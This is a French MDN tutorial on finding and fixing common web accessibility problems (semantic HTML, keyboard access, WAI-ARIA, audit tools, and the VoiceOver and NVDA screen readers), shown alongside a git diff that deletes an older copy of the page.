Les implémentations JavaScript plus complexes peuvent mener à des problèmes avec l'accessibilité — vous devez faire ce que vous pouvez. par exemple, cela ne serait pas raisonnable d'attendre de vous que vous fassiez un jeu complexe 3D écrit avec WebGL accessible à 100% pour une personne aveugle, mais vous pouvez implémenter des contrôles clavier pour qu'il soit utilisable pour un utilisateur sans souris, et réaliser une palette de couleurs suffisamment contrastée pour être utilisable par les personnes avec des lacunes pour percevoir les couleurs.

+ +

Fonctionnalité complexe

+ +

L'un des domaines de problématique principal pour l'accessibilité c'est les applis complexes qui nécessitent des contrôles de formulaires compliqués (comme les sélecteurs de date) et le contenu dynamique qui se met souvent à jour et de façon incrémentale.

+ +

Les contrôles de formulaire compliqués non natifs sont problématiques parce qu'ils ont tendance à nécessiter beaucoup de <div>s imbriquées, et le navigateur ne sait pas quoi faire par défaut avec elles. Si vous les inventer vous-même, vous devez vous assurer qu'ils sont accessibles par le clavier ; si vous utilisez des structures externes, revoyez en profondeur les options disponibles pour voir à quel point elles sont accessibles avant de vous plonger dedans. Bootstrap à l'air d'être assez bon pour l'accessibilité, par exemple, bien que Making Bootstrap a Little More Accessible de Rhiana Heath aborde certain de ses problèmes (principalement en rapport avec le contraste des couleurs), et examine certaines solutions.

+ +

Le contenu dynamique régulièrement mis à jour peut-être un problème parce que les utilisateurs de lecteur d'écran peuvent le manquer, spécialement si les mises à jour sont inattendues. Si vous avez une appli en single-page avec un contenu principal dans un panneau qui est régulièrement mis à jour en utilisant XMLHttpRequest ou Fetch, un utilisateur utilisant un lecteur d'écran peut rater ces mises à jour.

+ +

WAI-ARIA

+ +

Avez-vous besoin d'utiliser une fonctionnalité complexe, ou à la place vous le faîte avec une bonne vieille sémantique HTML ? Si vous avez besoin de complexité, vous devriez songer à utiliser WAI-ARIA (Accessible Rich Internet Applications), une spécification qui fournit une sémantique (sous la forme des nouveaux attributs HTML) pour les objets comme les contrôles complexes de formulaire et les panneaux mis à jour qui peuvent être compris par la plupart des navigateurs et les lecteurs d'écran.

+ +

Pour traiter avec les widgets complexes de formulaire, vous devez utiliser les attributs ARIA comme roles pour déclarer quel rôle les différents éléments on dans un widget (par exemple, est-ce qu'ils sont un onglet, ou un panneau ?), aria-disabled pour dire si un contrôle est désactivé ou pas, etc.

+ +

Pour traiter avec les zones de contenu qui sont régulièrement mises à jour, vous pouvez utiliser l'attribut aria-live, qui identifie une zone mise à jour. Sa valeur indique avec quelle urgence le lecteur d'écran doit faire la lecture :

+ +
    +
  • off : Par défaut. Les mises à jour ne seront pas annoncées.
    • +
  • polite : Les mises à jour sont annoncées seulement si l'utilisateur est inactif.
    • +
  • assertive : Les mises à jour sont annoncées à l'utilisateur aussi tôt que possible.
    • +
  • rude : Les mises à jour sont annoncées immédiatement, même si cela interrompt l'utilisateur.
    • +
+ +

Voici un exemple :

+ +
<p><span id="LiveRegion1" aria-live="polite" aria-atomic="false"></span></p>
+ +

Vous pouvez voir un exemple en action sur l'exemple ARIA (Accessible Rich Internet Applications) Live Regions de Freedom Scientific — le paragraphe surligné doit mettre à jour son contenu toutes les 10 secondes, et un lecteur d'écran doit le lire à l'utilisateur. ARIA Live Regions - Atomic apporte un autre exemple utile.

+ +

Nous n'avons pas de place pour couvrir WAI-ARIA en détail ici, vous pouvez en apprendre beaucoup plus à ce propos sur WAI-ARIA basics.

+ +

Les outils d'accessibilité

+ +

Maintenant que nous avons couvers les considérations de l'accessibilité pour les différentes technologies web, incluant quelques techniques de test (comme la navigation au clavier et le vérificateur de contraste de couleur), tournons-nous maintenant vers d'autres outils que vous pouvez utiliser pour faire des tests d'accessibilité.

+ +

Les outils d'audit

+ +

Il y a plusieurs outils d'audit disponibles que vous pouvez placer sur vos pages web, lesquels les examinerons et retournerons une liste de problèmes d'accessibilité présents sur la page. A titre d'exemple :

+ +
    +
  • Tenon : une assez bonne appli en ligne qui traverse le code à une URL fournie et qui retourne les résultats sur les erreurs d'acessibilité comprenant les indicateurs, ds erreurs spécifiques accompagnés des critères WCAG qu'elles affectent, et des suggestion de résolutions.
    • +
  • tota11y : Un outil d'accessibilité de la Khan Academy qui prend la forme d'une librairie JavaScript que vous attachez à votre page pour apporter plusieurs outils d'accessibilité.
    • +
  • Wave: Un autre outil en ligne de test d'accessibilité qui accepte une adresse web et retourne une utile vue annotée de la page avec les problèmes d'accessibilité surlignés.
    • +
+ +

Observons un exemple, en utilisant Tenon.

+ +
    +
  1. Aller sur la page d'accueil de Tenon.
    2. +
  2. Entrez l'URL de notre exemple de bad-semantics.html dans l'entrée texte en haut de la page (ou l'URL d'une autre page que vous aimeriez analyser) et appuyez sur Analyse your Webpage.
    3. +
  3. Défilez vers le bas jusqu'à que vous trouviez la section d'erreur/signalement, comme montré ci-dessous.
    4. +
+ +

+ +

Il y a également des options que vous pouvez examiner (voir le lien Show Options vers le haut de la page), ainsi qu'une API pour utiliser Tenon comme un programme.

+ +
+

Note : De tels outils ne sont pas suffisant pour résoudre tous vos problèmes d'accessibilité en tant que tel. Vous devrez les combiner, savoir et expérience, test utilisateur, etc. pour vous faire une image exacte.

+
+ +

Les outils d'automatisation

+ +

Deque's aXe tool va un peu plus loin que les outils d'audit que nous avons mentionné plus haut. Comme les autres, il vérifie les pages et retourne des erreurs d'accessibilité. Sa forme immédiate la plus utile est sûrement son extension navigateur :

+ + + +

Cela ajoute un onglet accessibilité aux outils de développeur du navigateur, nous avons installé la version pour Firefox, puis nous l'avons utilisé pour auditer notre exemple bad-table.html. Nous obtenons les résultats suivants :

+ +

+ +

aXe est également installable en utilisant npm, et peut-être intégré avec des exécuteurs de tâche comme Grunt et Gulp, des frameworks d'automatisation comme Selenium et Cucumber, des framework de test unitaire comme Jasmin, et d'autres encore (une fois encore, voir la page principale d'aXe pour plus de détails).

+ +

Les lecteurs d'écran

+ +

Il faut définitivement tester avec un lecteur d'écran pour s'habituer à comment les personnes malvoyantes utilisent le Web. Il y a plusieurs lecteurs d'écran disponible : 

+ +
    +
  • Certain sont des produits commerciaux payants, comme JAWS (Windows) et Window Eyes (Windows).
    • +
  • Certains sont des produits gratuits, comme NVDA (Windows), ChromeVox (Chrome, Windows, et Mac OS X), et Orca (Linux).
    • +
  • Certains sont compris dans le système d'exploitation, comme like VoiceOver (Mac OS X et iOS), ChromeVox (sur les Chromebooks), et TalkBack (Android).
    • +
+ +

La plupart du temps, les lecteurs d'écran sont des applis séparées, qui s'exécutent sur le système d'exploitation hôte et peuvent lire des pages web, mais aussi du texte dans d'autres appli. Ce n'est pas toujours le cas (ChromeVox est une extension navigateur), mais ça l'est souvent. Les lecteurs d'écran ont tendance à agir de manière légèrement différente et ont des contrôles différents, donc vous devrez consulter la documentation pour le lecteur d'écran que vous avez choisi pour obtenir tous les détails — cela dit, il fonctionne tous à peu près de la même manière.

+ +

Commençons à effectuer quelques tests avec deux lecteurs d'écran différents pour vous donner une idée générale de comment ils fonctionnent et de comment tester avec eux.

+ +
+

Note : Designing for Screen Reader Compatibility de WebAIM fournit des informations utiles à propos de l'utilisation des lecteurs d'écran et qu'est-ce qui est le plus efficace pour les lecteurs d'écran. Aller également voir Screen Reader User Survey #6 Results pour des statistiques intéressantes concernant l'utilisation de lecteur d'écran.

+
+ +

VoiceOver

+ +

VoiceOver (VO) est gratuit avec votre Mac/iPhone/iPad, donc c'est utile pour tester sur votre ordinateur/mobile si vous utilisez des produits Apple. Nous le testerons sur Mac OS X sur un MacBook Pro.

+ +

Pour le démarrer, pressez Cmd + Fn + F5. Si vous n'avez jamais utilisé VO auparavant, vous obtiendrez un écran de bienvenue où vous pouvez choisir de démarrer VO ou de ne pas le démarrer, et vous parcourrez un tutoriel utile pour apprendre à comment l'utiliser. Pour l'arrêter, pressez Cmd + Fn + F5 à nouveau.

+ +
+

Note : Vous devriez parcourir le tutoriel au moins une fois — il est vraiment très utile pour en apprendre à propos de VO.

+
+ +

Lorsque VO est démarré, l'affichage ressemblera à peu près à cela, mais vous verrez une boîte noire en bas à gauche de l'écran qui contient l'information sur quoi est-ce que VO est actuellement sélectionné. La sélection courante sera également mise en avant, avec une bordure noire — cette mise en avant est connue comme le curseur VO.

+ +

+ +

Pour utiliser VO, vous aller beaucoup utiliser le "modificateur VO" — c'est une touche ou une combinaison de touches que vous devez presser en plus de l'actuel raccourci VO pour qu'elles fonctionnent. Utiliser un modificateur comme celui-ci est courant avec les lecteurs d'écran, pour leur permettre de garder leur propres commandes en évitant d'entrer en conflit avec d'autres commandes. Dans le cas de VO, le modificateur peut aussi être VerrMaj, ou Ctrl + Option.

+ +

VO a beaucoup de commandes clavier, et nous n'allons pas toutes les lister ici. Les principales dont vous aurez besoin pour tester une page web sont dans le tableau suivant. Dans les raccourcis clavier, "VO" veut dire "le modificateur VoiceOver".

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Les raccourcis clavier VoiceOver les plus communs

+
Raccourci clavierDescription
VO + Touches du curseurDéplace le curseur VO vers le haut, la droite, le bas, la gauche.
VO + Barre espace +

Sélectionne/active les éléments mis en avant par le curseur VO. Cela inclut les items sélectionnés dans le Rotor (voir plus bas).

+
VO + Shift + curseur bas +

Se déplacer dans un groupe d'éléments (comme un tableau HTML, ou un formulaire, etc.) Une fois dans un groupe vous pouvez vous déplacer et sélectionner les éléments à l'intérieur de ce groupe en utilisant les commandes ci-dessus normalement.

+
VO + Shift + curseur hautSortir d'un groupe.
VO + C +

(à l'intérieur d'un tableau) lire l'entête de la colonne courante.

+
VO + R(à l'intérieur d'un tableau) lire l'entête de la ligne courante.
VO + C + C (deux C d'affilé)(à l'intérieur d'un tableau) lire toute la colonne courante, incluant l'entête.
VO + R + R (deux R d'affilé) +

(à l'intérieur d'un tableau) lire toute la ligne courante, incluant les entêtes qui correspondent à chacune des cellules.

+
VO + curseur gauche, VO + curseur droit(à l'intérieur d'options horizontales, comme un sélecteur de date ou de temps) Se déplacer entre les options
VO + curseur haut, VO + curseur bas(à l'intérieur d'options horizontales, comme un sélecteur de date ou de temps) Modifier l'option courante.
VO + U +

Utiliser le rotor, qui affiche des listes de rubriques, de liens, de contrôles de formulaires, etc. pour une navigation simplifiée.

+
VO + curseur gauche, VO + curseur droit +

(à l'intérieur du Rotor) Se déplacer ente les différentes listes disponibles dans le Rotor.

+
VO + curseur haut, VO + curseur bas +

(à l'intérieur du Rotor) Se déplacer entre les différents éléments dans la liste courante du Rotor.

+
Esc(à l'intérieur du Rotor) Sortir du Rotor.
Ctrl(Lorsque VO parle) Arrêter/Reprendre l'allocution.
VO + ZRelance la dernière partie de l'allocution.
VO + D +

Aller dans le Dock du Mac, pour que vous puissiez sélectionner des applis à exécuter.

+
+ +

Cela peut paraître comme beaucoup de commandes, mais pas tant que ça que vous vous y habituez, et VO vous rappelle régulièrement quels commandes utiliser dans quels cas. Essayer de tester VO maintenant ; vous pouvez dorénavant essayer de tester certains de nos exemples dans la section {{anch("Screenreader testing")}}.

+ +

NVDA

+ +

NVDA est exclusif à Windows, et vous allez devoir l'installer.

+ +
    +
  1. Téléchargez-le depuis nvaccess.org. Vous pouvez choisir si vous voulez faire une donation ou le télécharger gratuitement ; vous devrez également leur donner votre adresse e-mail avant de pouvoir le télécharger.
    2. +
  2. Une fois téléchargé, installez-le — double cliquez sur l'installeur, acceptez la licence et suivez les instructions.
    3. +
  3. Pour lancer NVDA, double cliquez sur fichier/raccourci du programme, ou utilisez le raccourci clavier Ctrl + Alt + N. Vous verrez la boîte de dialogue de bienvenue de NVDA lorsque vous le démarrez. Vous pouvez choisir ici différentes options, puis appuyez sur OK pour continuer.
    4. +
+ +

NVDA sera maintenant actif sur votre ordinateur.

+ +

Pour utiliser NVDA, vous aller beaucoup utiliser le "modificateur NVDA" — c'est une touche que vous devez presser en plus de l'actuel raccourci NVDA pour qu'elles fonctionnent. Utiliser un modificateur comme celui-ci est courant avec les lecteurs d'écran, pour leur permettre de garder leurs propres commandes en évitant d'entrer en conflit avec d'autres commandes. Dans le cas de NVDA, le modificateur peut aussi être Insert (par défaut), ou VerrMaj (peut être choisi en cochant la première case à cocher dans la boîte de dialogue de bienvenue avant d'appuyer sur OK).

+ +
+

Note : NVDA est plus subtile que VoiceOver en termes de comment il met en valeur là où il est et qu'est-ce qu'il fait. Lorsque vous défilez à travers des rubriques, listes, etc. les éléments que vous sélectionnez seront généralement mis à avant avec un contour subtile, mais ça n'est pas toujours le cas pour toutes les choses. Si vous vous retrouvez complètement perdu, vous pouvez appuyer sur Ctrl + F5 pour rafraîchir la page courante et recommencer en haut de la page.

+
+ +

NVDA a beaucoup de commandes clavier, et nous n'allons pas toutes les lister ici. Les principales dont vous aurez besoin pour tester une page web sont dans le tableau suivant. Dans les raccourcis clavier, "NVDA" veut dire "le modificateur NVDA".

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Les raccourcis clavier NVDA les plus communs
Raccourci clavierDescription
NVDA + Q +

Arrête NVDA après que vous l'ayez démarré.

+
NVDA + curseur hautLit la ligne courante.
NVDA + curseur basCommence à lire à la position courante.
curseur haut ou curseur bas, ou Shift + Tab et Tab +

Se déplace à l'élément suivant/précédent de la page et le lit.

+
curseur gauche et curseur droit +

Se déplace au caractère suivant/précédent dans l'élément courant et le lit.

+
Shift + H et H +

Se déplace au titre suivante/précédente et le lit.

+
Shift + K et K +

Se déplace au lien suivant/précédent et le lit.

+
Shift + D et D +

Se déplace au repère de document (par ex. <nav>) suivant/précédent et le lit.

+
Shift + 1–6 et 1–6 +

Se déplace au titre (niveau 1 à 6) suivant/précédent et le lit.

+
Shift + F et F +

Se déplace à l'entrée de formulaire suivante/précédente et se focalise dessus.

+
Shift + T et T +

Se déplace sur la donnée de tableau suivante/précédente et se focalise dessus.

+
Shift + B et B +

Se déplace sur le bouton suivant/précédent et lit son libellé.

+
Shift + L et L +

Se déplace à la liste suivante/précédente et lit son premier item de liste.

+
Shift + I et I +

Se déplace à l'item de liste suivant/précédent et le lit.

+
Entrée/Retour +

(quand un lien/bouton ou autre élément activable est sélectionné) Active l'élément.

+
NVDA + Barre espace +

(quand un formulaire est sélectionné) Entre dans le formulaire pour que les éléments puissent être sélectionnés individuellement, ou quitter le formulaire si vous êtes déjà dedans.

+
Shift Tab et Tab +

(à l'intérieur d'un formulaire) Se déplacer entre les entrées de formulaire.

+
Curseur haut et curseur bas +

(à l'intérieur d'un formulaire) Modifier les valeurs d'une entrée de formulaire (dans les cas comme les listes déroulantes)

+
Barre espace +

(à l'intérieur d'un formulaire) Sélectionner la valeur choisie.

+
Ctrl + Alt + touches fléchées(à l'intérieur d'un tableau) Se déplacer entre les cellules du tableau.
+ +

Test avec lecteur d'écran

+ +

Maintenant que vous vous êtes habitué à utiliser un lecteur d'écran, nous aimerions que vous vous habituiez à faire quelques tests d'accessibilité rapides, pour vous faire une idée de comment les lecteurs d'écran se débrouillent avec les bonnes et mauvaises caractéristiques d'une page web :

+ +
    +
  • Regardez good-semantics.html, et notez comment les titres sont trouvés pas le lecteur d'écran et rendus disponibles pour être utilisés en navigation. Regardez maintenant bad-semantics.html, et observez comme le lecteur d'écran n'obtient aucune de ces informations. Imaginez à quel point cela peut être pénible lorsque vous essayez de naviguer sur une page de texte vraiment longue.
    • +
  • Regardez good-links.html, et notez comment est-ce qu'ils ont du sens vus hors contexte. Ce n'est pas le cas avec bad-links.html — ceux sont juste tous des "click here".
    • +
  • Regardez good-form.html, et regardez comment les entrées du formulaire sont décrites en utilisant leurs libellés parce que nous avons utilisé l'élément <label> correctement. Dans bad-form.html, ils ne sont que des "blank" sur toute la ligne, totalement inutiles.
    • +
  • Regardez notre exemple punk-bands-complete.html, et observez comment le lecteur d'écran est capable d'associer les colonnes et les lignes de contenu et de les lires toutes ensembles, parce que nous avons défini les entêtes correctement. Dans bad-table.html, aucune des cellules ne peut être associée du tout. Notez que NVDA a étonnamment l'air d'assez bien se comporter lorsque vous n'avez qu'un seul tableau sur une page ; à la place vous pouvez essayer WebAIM's table test page.
    • +
  • Jetez un œil à WAI-ARIA live regions example que nous avons vu plus tôt, et observez comment le lecteur d'écran va continuer de lire la section qui se met à constamment à jour dès qu'elle se met à jour.
    • +
+ +

Test utilisateur

+ +

Comme mentionné plus haut, vous ne pouvez pas uniquement compter sur les outils automatisés pour déterminer les problèmes d'accessibilité sur votre site. Il est recommandé que lorsque vous établissez votre plan de test, vous devez inclure quelques groupes d'utilisateur d'accessibilité si c'est possible (voir notre section Test Utilisateur plus tôt dans ce cours pour plus de contexte). Essayez d'inclure des utilisateurs de lecteur d'écran, des utilisateurs exclusifs au clavier, des utilisateurs malentendants, et peut-être d'autres groupes encore, selon vos besoins.

+ +

Checklist de tests d'accessibilité

+ +

La liste suivante vous fournit une checklist à suivre pour vous assurer de mener à bien les tests d'accessibilité recommandés pour votre projet :

+ +
    +
  1. Assurez-vous que votre HTML est sémantiquement correct au possible. Le valider est un bon début, comme utiliser un outil d'Audit.
    2. +
  2. Vérifiez que votre contenu a du sens lorsque le CSS est désactivé.
    3. +
  3. Assurez-vous que votre fonctionnalité est accessible au clavier. Testez en utilisant Tab, Retour/Entrée, etc.
    4. +
  4. Assurez-vous que votre contenu non-textuel a un texte alternatif. Un Outil d'audit est bien pour repérer ce type de problèmes.
    5. +
  5. Assurez-vous que votre contraste de couleurs est acceptable, en utilisant un outil de vérification approprié.
    6. +
  6. Assurez-vous que le contenu caché est visible par les lecteurs d'écran.
    7. +
  7. Assurez-vous qu'une fonctionnalité est utilisable sans JavaScript autant que possible.
    8. +
  8. Utilisez ARIA pour améliorer l'accessibilité quand c'est approprié.
    9. +
  9. Exécutez votre site dans un Outil d'audit.
    10. +
  10. Testez avec un lecteur d'écran.
    11. +
  11. Incluez une politique/déclaration d'accessibilité à un endroit que l'on peut trouver sur votre site pour dire ce que vous avez fait.
    12. +
+ +

Trouver de l'aide

+ +

Il y a bien d'autres problèmes que vous allez rencontrer avec l'accessibilité ; la chose la plus importante à vraiment savoir est comment trouver des réponses en ligne. Consultez l'article la section Trouver de l'aide de l'article sur le HTML et le CSS pour des bonnes directions.

+ +

Résumé

+ +

Espérons que cet article vous aura donné des bonnes connaissances concernant les problèmes principaux d'accessibilité que vous pourrez rencontrer, et comment les tester et les surmonter.

+ +

Dans le prochain article nous nous tournerons vers la fonctionnalité de détection dans plus de détail.

+ +

{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}

+ +

 

+ +

Dans ce module

+ + + +

 

diff --git "a/files/fr/learn/tools_and_testing/cross_browser_testing/accessibilit\303\251/index.html" "b/files/fr/learn/tools_and_testing/cross_browser_testing/accessibilit\303\251/index.html" deleted file mode 100644 index 0af81a09b0..0000000000 --- "a/files/fr/learn/tools_and_testing/cross_browser_testing/accessibilit\303\251/index.html" +++ /dev/null @@ -1,684 +0,0 @@ ---- -title: Gérer les problèmes courants d'accessibilité -slug: Learn/Tools_and_testing/Cross_browser_testing/Accessibilité -tags: - - Accessibilité - - Apprentissage - - Article - - CSS - - Clavier - - Débutant - - HTML - - JavaScript - - Outils - - navigateur croisé - - test -translation_of: Learn/Tools_and_testing/Cross_browser_testing/Accessibility ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}
- -

Tournons maintenant notre attention vers l'accessibilité, les informations sur les problèmes communs, comment faire des tests simples, et comment faire pour utiliser les outils d'audit/automatisation pour trouver les problèmes d'accessibilités.

- - - - - - - - - - - - -
Prérequis : -

Connaissances avec le noyau des langages HTML, CSS et JavaScript ; une idée du haut niveau des principes du test en navigateur croisé.

-
Objectif : -

Être capable de diagnostiquer les problèmes courants d'Accessibilité, et utiliser les outils et techniques appropriés pour les résoudre.

-
- -

Qu'est-ce que l'accessibilité ?

- -

Quand on parle d'accessibilité dans le contexte de la technologie web, la plupart des gens pense directement au fait de s'assurer que les sites web/apps sont utilisables par les personnes avec des handicap, par exemple :

- -
    -
  • Les personnes malvoyantes utilisant des lecteurs d'écran ou l'élargissement/zoom pour accéder au texte.
    • -
  • Les personnes avec des troubles fonctionnels moteurs utilisant le clavier (ou d'autres fonctions sans souris) pour activer des fonctionnalités de site web.
    • -
  • Les personnes avec des troubles auditifs dépendant des légendes/sous-titres ou d'autres textes alternatifs pour du contenu audio/vidéo.
    • -
- -

Toutefois, ce serait faux de réduire l'accessibilité uniquement aux handicaps. Le vrai but de l'accessibilité est de faire en sorte que vos sites web/applis soient utilisables par le plus grand nombre de personnes dans le plus grand nombre de contextes possibles, pas uniquement ces utilisateurs qui utilisant des ordinateurs de bureau puissants. Les exemples extrêmes pourraient inclure :

- -
    -
  • Les utilisateurs sur des appareils mobiles.
    • -
  • Les utilisateurs sur des appareils de navigation alternatifs comme les TVs, les montres, etc.
    • -
  • Les utilisateurs de vieux appareils qui n'ont pas les derniers navigateurs.
    • -
  • Les utilisateurs avec des appareils aux caractéristiques basses qui peuvent avoir des processeurs lents.
    • -
- -

D'une certaine manière, la totalité de ce module concerne l'accessibilité — le test en navigateur croisé assure que vos sites peuvent être utilisé par le plus de personne possible. Qu'est-ce que l'accessibilité ? décrit plus largement et précisément l'accessibilité que cet article ne le fait.

- -

Cela dit, cet article couvrira les problèmes en navigateur croisé et de test entourant les personnes avec des handicaps, et comment ils utilisent le Web. Nous avons déjà parlé des autres domaines comme le responsive design et la performance à d'autres endroits dans ce module.

- -
-

Note : Comme beaucoup de choses dans le développement web, l'accessibilité ne concerne pas la totale réussite ou échec ; l'accessibilité à 100% est quasiment impossible à atteindre pour tous les contenus, spécialement quand les sites deviennent plus complexes. Il s'agit plutôt de faire un effort pour rendre votre contenu accessible au plus grand nombre de personnes possible, avec du code de prévention, et se tenir aux meilleures pratiques.

-
- -

Problèmes d'accessibilité courants

- -

Dans cette section nous détaillerons certains des problèmes principaux qui se manifestent autour de l'accessibilité, liée à des technologies spécifiques, avec les bonnes pratiques à adopter, et quelques tests rapides que vous pouvez faire pour voir si vos sites vont dans le bon sens.

- -
-

Note : L'accessibilité est moralement la bonne chose à faire, est bonne pour les affaires (nombre élevé d'utilisateurs handicapés, utilisateurs sur des appareils mobiles, etc. représentent un segment du marché signifiant), mais c'est aussi illégal dans de nombreuses régions de la planète de ne pas rendre les propriétés du web accessibles aux personnes avec des handicaps. Pour plus d'informations, lisez Accessibility guidlines and the law.

-
- -

HTML

- -

La sémantique HTML (où les éléments sont utilisés à leur fin prévues) est accessible sans aucune modification — les contenus sont lisibles par les spectateurs voyants (à condition que vous n'ayez rien fait d'absurde comme rendre le texte bien trop petit ou ne l'ayez caché en utilisant du CSS), mais il sera aussi utilisable par des technologies d'assistance comme les lecteurs d'écran (applis qui lisent littéralement une page à leurs utilisateurs), et apporte également d'autres avantages.

- -

La structure sémantique

- -

Le quick win le plus important en sémantique HTML et d'utiliser une structure de rubriques et de paragraphes pour votre contenu ; parce que les utilisateurs de lecteurs d'écran ont tendance à utiliser les rubriques d'un document comme indications pour trouver le contenu qu'il recherche plus rapidement. Si votre contenu n'a pas de rubriques, tout ce qu'ils auraient c'est un énorme mur de texte sans aucune indication pour trouver quelque chose. Exemples de bon et de mauvais HTML :

- -
<font size="7">My heading</font>
-<br><br>
-This is the first section of my document.
-<br><br>
-I'll add another paragraph here too.
-<br><br>
-<font size="5">My subheading</font>
-<br><br>
-This is the first subsection of my document. I'd love people to be able to find this content!
-<br><br>
-<font size="5">My 2nd subheading</font>
-<br><br>
-This is the second subsection of my content. I think is more interesting than the last one.
- -
<h1>My heading</h1>
-
-<p>This is the first section of my document.</p>
-
-<p>I'll add another paragraph here too.</p>
-
-<h2>My subheading</h2>
-
-<p>This is the first subsection of my document. I'd love people to be able to find this content!</p>
-
-<h2>My 2nd subheading</h2>
-
-<p>This is the second subsection of my content. I think is more interesting than the last one.</p>
- -

De plus, votre contenu doit avoir un sens logique dans son code source — vous pourrez toujours le placer où vous voulez en utilisant du CSS plus tard, mais vous devez avoir un bon code source avec lequel commencer.

- -

Comme test, vous pouvez désactiver le CSS d'un site et voir à quel point il est compréhensible sans ce dernier. Vous pouvez le faire manuellement juste en retirant le CSS de votre code, mais la façon la plus simple reste d'utiliser les fonctionnalités du navigateur, par exemple :

- -
    -
  • Firefox : Sélectionnez Affichage > Style de page > Aucun style depuis le menu principal.
    • -
  • Safari : Sélectionnez Développement > Désactiver les styles depuis le menu principale (pour activer le menu Développement, choisissez Safari > Préférences > Avancés > Montrer le menu développement dans la barre de menu).
    • -
  • Chrome : Installez l'extension Web Developer Toolbar, puis redémarrer le navigateur. Cliquez sur l'icône engrenage qui apparaîtra, puis sélectionnez CSS > Désactiver tous les styles.
    • -
  • Edge : Sélectionnez Vue > Style > Aucun style depuis le menu principal.
    • -
- -

Utiliser l'accessibilité native du clavier

- -

Certaines fonctionnalités HTML peuvent être sélectionnées en utilisant uniquement le clavier — c'est le comportement par défaut, disponible depuis les prémices du web. Les éléments qui ont cette capacité sont les plus communs qui permettent à l'utilisateur d'interagir avec les pages web, à savoir les liens, {{htmlelement("button")}}s, et les éléments des formulaire comme {{htmlelement("input")}}.

- -

Vous pouvez essayer ceci en utilisant notre exemple native-keyboard-accessibility.html (voir le code source) — ouvrez le dans un nouvel onglet, et essayez de presser la touche tab ; après quelques pressions, vous devriez voir la focalisation du tab commencer à se déplacer entre les différents éléments focalisables ; les éléments focalisés ont un style de mise en avant par défaut dans tous les navigateurs (cela diffère peu entre les différents navigateurs) donc vous pouvez dire quel éléments est focalisé.

- -

- -

Vous pouvez ensuite presser Entrée/Retour pour accéder à un lien focalisé ou presser un bouton (nous avons inclus un peu de JavaScript pour que les boutons renvoies un message d'alerte), ou commencer à taper pour entrer du texte dans un des input texte (d'autres éléments de formulaire ont différents contrôles, par exemple l'élément {{htmlelement("select")}} peut avoir ses options affichées et navigable en utilisant les touches haut et bas).

- -

Notez que différents navigateurs peuvent avoir différentes options de contrôle par clavier disponibles. La plupart des navigateurs modernes respectent le modèle de tab écrit plus haut (vous pouvez aussi faire une Shift + Tab pour reculer entre les éléments focalisables), mais certains navigateurs ont leurs propres particularités :

- -
    -
  • Firefox pour Max ne tabule pas par défaut. Pour l'activer, vous devez aller dans Préférences > Avancées > Général, puis décochez "Toujours utiliser les curseurs pour naviguer dans une page". Ensuite, vous devez ouvrir les Préférences Système de votre Mac, puis sélectionnez le boutons radio Tous les contrôles.
    • -
  • Safari ne vous permet pas de naviguer avec tab par défaut ; pour l'activer, vous devez ouvrir les Préférences de Safari, allez dans Avancées, et cochez la case à cocher Presser tab pour mettre en avant chaque item sur une page web.
    • -
- -
-

Important : Vous devez jouer ce genre de test sur toutes les pages que vous écrivez — assurez-vous que la fonctionnalité peut être accessible par le clavier.

-
- -

Cet exemple souligne l'importance de l'utilisation de la sémantique correcte d'élément pour le travail correct. C'est possible de styler n'importe quel élément pour qu'il ressemble à un lien ou un bouton avec le CSS, et de le faire se comporter comme un lien ou un bouton avec JavaScript, mais ils ne seront toujours pas des liens ou des boutons, et vous perdrez beaucoup de l'accessibilité que ces éléments vous fournissent pour rien. Donc ne le faîte pas si vous pouvez l'éviter.

- -

Un autre conseil — comme vu dans notre exemple, vous pouvez contrôler comment vos éléments focalisables paraissent quand ils sont focalisés, en utilisant la pseudo-class :focus. C'est une bonne idée de doubler les styles focus et hover, comme ça vos utilisateurs auront un indice visuel qu'un contrôle fera quelque chose lorsqu'il sera activé, qu'ils utilisent la souris ou le clavier :

- -
a:hover, input:hover, button:hover, select:hover,
-a:focus, input:focus, button:focus, select:focus {
-  font-weight: bold;
-}
- -
-

Note : Si vous décidez de retirer le style focus par défaut en utilisant du CSS, assurez-vous de le remplacer par autre chose qui s'accorde au mieux avec votre design — c'est un outil d'accessibilité de grande valeur, qui ne doit pas être supprimé.

-
- -

Intégrer l'accessibilité clavier

- -

Parfois ça n'est pas possible d'éviter la perte de l'accessibilité clavier. Vous pouvez avoir hérité d'un site où la sémantique n'est pas parfaite (peut-être que vous vous êtes retrouvé avec un CMS horrible qui génère des boutons créés avec des <div>s), ou que vous utilisez un contrôle complexe qui n'a pas d'accessibilité clavier intégré, comme l'élément {{htmlelement("video")}} (étonnamment, Opera est le seul navigateur qui vous permet de tabuler dans l'élément <video> avec les contrôles par défaut du navigateur). Vous avez quelques options ici :

- -
    -
  1. Créer des contrôles personnalisés en utilisant les éléments <button> (sur lequel nous pouvons tabuler par défaut !) et JavaScript pour les relier à leur fonction. Pour des bons exemples voir Creating a cross-browser video player.
    2. -
  2. Créer des raccourcis clavier en utilisant JavaScript, les fonctions sont activés quand vous appuyez sur une certaine touche du clavier. Voir Desktop mouse and keyboard controls pour des exemples en rapport avec le jeu qui peuvent être adaptés à d'autres fins.
    3. -
  3. Utilisez des approches intéressantes pour simuler le comportement d'un bouton. Prenez par exemple notre exemple fake-div-buttons.html (voir le code source). Nous donnons à nos faux boutons <div> la capacité d'être focalisé (y compris avec la tabulation) en donnant à chacun d'entre eux l'attribut tabindex="0" (voir l'article tabindex de WebAIM pour plus de détails utiles). Cela nous permet de tabuler sur les boutons, mais pas de les activer avec la toucher Entrée/Retour. Pour faire cela, nous devons ajouter ce petit bout de tromperie en JavaScript :
    4. -
  4. - 
    document.onkeydown = function(e) {
-  if(e.keyCode === 13) { // The Enter/Return key
-    document.activeElement.onclick(e);
-  }
-};
